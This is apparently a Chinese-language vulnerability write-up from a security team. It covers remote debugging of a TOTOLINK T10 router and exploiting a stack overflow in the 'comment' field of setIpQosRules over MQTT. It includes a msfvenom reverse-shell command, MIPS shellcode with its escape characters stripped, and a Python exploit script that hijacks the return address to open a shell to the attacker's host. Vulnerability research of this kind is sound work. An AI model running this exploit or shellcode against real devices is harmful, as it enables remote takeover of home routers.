调试机器开启gdb后连接即可 (gdb) target remote 192.168.xx.xx:1234
pwndbg> target remote xxxxxx:80
Remote debugging using xxxxxxxx:80
Reading /home/ubuntu/gdb/pwn2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /home/ubuntu/gdb/pwn2 from remote target...
Reading symbols from target:/home/ubuntu/gdb/pwn2...
(No debugging symbols found in target:/home/ubuntu/gdb/pwn2)
0x0000000000400a40 in _start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
在这里踩了很多坑,很多时候连上能成功,但是ni执行的时候就出问题了,立马断掉,进程就会挂掉,尝试很多不同的gdbserver,自己也尝试编译了一下,都失败了,马上要放弃的时候,又找了一个版本https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
rapid7编译的,可以正常使用了
7.2 ida动态调试远程调试
和gdbserver联动
7.2.1附加调试(无符号信息)
这种方式没有反汇编的函数信息等
设置mipsel
选择 Processor type
基本命令 https://blog.csdn.net/m0_52164435/article/details/124871122
7.2.2 运行调试(有符号信息)
先加载二进制文件,main函数处下断点、debugger–process options 设置好ip和端口
被调试那里开启服务,然后debugger-attach to process即可
如果不确定本地的版本和远程的时候一样可以导出二进制文件
cat ./cs_broker | /tmp/busybox-mipsel base64 # 编码过程
# 将base64编码的内容保存到本地文件pcap64
cat cs | base64 -d > cs_broker # 解码过程
./gdbserver.mipsle :9999 –attach 1335 ida能够成功连接上,但是ida那边运行后,一发送mqtt包就会蹦.. 偶尔能调试成功,能单步走..比较玄学,因为gdb那边调试没用问题,就先用gdb进行调试了
# ./gdbserver.mipsle :9999 --attach 1335
Attached; pid = 1335
Listening on port 9999
Remote debugging from host 192.168.55.3
Connection closed by foreign host.
# ./gdbserver.mipsle :9999 --attach 1335
Attached; pid = 1335
Listening on port 9999
Remote debugging from host 192.168.55.3
ptrace: Input/output error.
input_interrupt, count = 1 c = 36 ('$')
input_interrupt, count = 1 c = 36 ('$')
input_interrupt, count = 1 c = 107 ('k')
好像和二进制文件有关?
The current debugger backend (gdb) does not provide memory information to IDA.
Therefore the memory contents may be invisible by default.
Please use the Debugger/Manual memory regions menu item to configure the memory layout.
It is possible to define just one big region for the whole memory
(IDA will display question marks for missing memory regions in this case).
7.3 filewall.so库中setIpQosRules函数栈溢出调试
int __fastcall setIpQosRules(int a1, int a2, int a3)
{
......
char v14[23]; // [sp+18h] [-B8h] BYREF
......
v12 = (const char *)websGetVar(a2, "comment", &byte_9268);
......
strcpy(v14, v12);
apmib_set(131385, v14);
apmib_set(65848, v14);
apmib_update_web(4);
system("sysconf firewall");
websSetCfgResponse(a1, a3, "0", "reserv");
return 0;
}
comment明显存在溢出,复制给栈上数据v14
7.3.1 利用脚本
生成反弹shell payload:msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.55.4 LPORT=9999 -f py -o mips.txt
from pwn import *
import paho.mqtt.client as mqtt
buf = "xfaxffx0fx24x27x78xe0x01xfdxffxe4x21"
buf += "xfdxffxe5x21xffxffx06x28x57x10x02x24"
buf += "x0cx01x01x01xffxffxa2xafxffxffxa4x8f"
buf += "xfdxffx0fx34x27x78xe0x01xe2xffxafxaf"
buf += "x27x0fx0ex3cx27x0fxcex35xe4xffxaexaf"
buf += "x37x02x0ex3cxc0xa8xcex35xe6xffxaexaf"
buf += "xe2xffxa5x27xefxffx0cx24x27x30x80x01"
buf += "x4ax10x02x24x0cx01x01x01xfdxffx11x24"
buf += "x27x88x20x02xffxffxa4x8fx21x28x20x02"
buf += "xdfx0fx02x24x0cx01x01x01xffxffx10x24"
buf += "xffxffx31x22xfaxffx30x16xffxffx06x28"
buf += "x62x69x0fx3cx2fx2fxefx35xecxffxafxaf"
buf += "x73x68x0ex3cx6ex2fxcex35xf0xffxaexaf"
buf += "xf4xffxa0xafxecxffxa4x27xf8xffxa4xaf"
buf += "xfcxffxa0xafxf8xffxa5x27xabx0fx02x24"
buf += "x0cx01x01x01"
test = "a"*218
client = mqtt.Client()
client.connect("192.168.55.1",1883,60)
client.publish('totolink/router/setting/setIpQosRules',payload='{"topicurl":"setting/setIpQosRules","comment":"xx'+test+'xb4x43x41"}'+'bling'+buf)
偏移量具体多少可以在调试的时候查看
7.3.2 调试案例
路由器上
# ./gdbserver.mipsle :9999 --attach 14725
Attached; pid = 14725
Listening on port 9999
调试机器
target remote 192.168.55.1:9999
vmmap
例如查到firewall.so的基地址是0x778ec000
.text:00003414 la $t9, strcpy
.text:00003418 jalr $t9 ; strcpy
.text:0000341C move $a1, $s1 # src
.text:00003420 lw $gp, 0xD0+var_C0($sp)
.text:00003424 li $a0, 0x20139
ida中看到strcpy的地址是00003418, 于是下断点在0x778ec000+0x0003418 = 0x778ef418
b *0x778ef418
此外,为了更好的查看覆盖返回地址情况
可以在开头再下一个断点, sw $ra, 0xD0+var_s24($sp) 这个是存放返回地址的指令,放在$ra寄存器里
.text:0000329C li $gp, (_fdata+0x7FF0 - .)
.text:000032A4 addu $gp, $t9
.text:000032A8 addiu $sp, -0xF8
.text:000032AC sw $ra, 0xD0+var_s24($sp)
以及下断点到最后,查看最后劫持返回地址的效果
.text:000034C4 jr $ra
然后c继续执行
由于第一次进行strcpy会会进行strcpy动态链接的符号解析等等,而且gdb中不知道为什么finish等不能用,所以先随便发点东西,不触发漏洞,在第二次运行时,再触发漏洞,具体查看strcpy的过程( 非常容易打挂...调试了很多次)
这四行代码是复制语句,将输入复制到栈上,
复制成功后,看到已经把返回地址修改了
0x4143b4就是shellcode的开始
返回处 跳到shellcode 开始执行
获取反弹shell
7.3.3 遇到的坑
刚开始调试的时候,发现怎么也弹不回shell,(在mac上开的nc,后来发现其实链接已经建立了,),调试了好久
其实已经收到了shell,但是没有提示显示….
八、参考
https://blingblingxuanxuan.github.io/2021/09/25/analysis-of-totolink-t10/
https://zone.huoxian.cn/d/2676-totolink-cve-2022-25084
https://www.52pojie.cn/thread-1715223-1-1.html
https://github.com/gtrboy/totolink
https://github.com/SeppPenner/mqttfx171-backup/tree/master/Binaries
https://web.archive.org/web/20220504092050/http://www.jensd.de/apps/mqttfx/1.7.1/
https://mqttfx.jensd.de/index.php/download
https://blog.csdn.net/dong__ge/article/details/126322091
https://blog.csdn.net/m0_43406494/article/details/124815879
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):TotolinkT10漏洞分析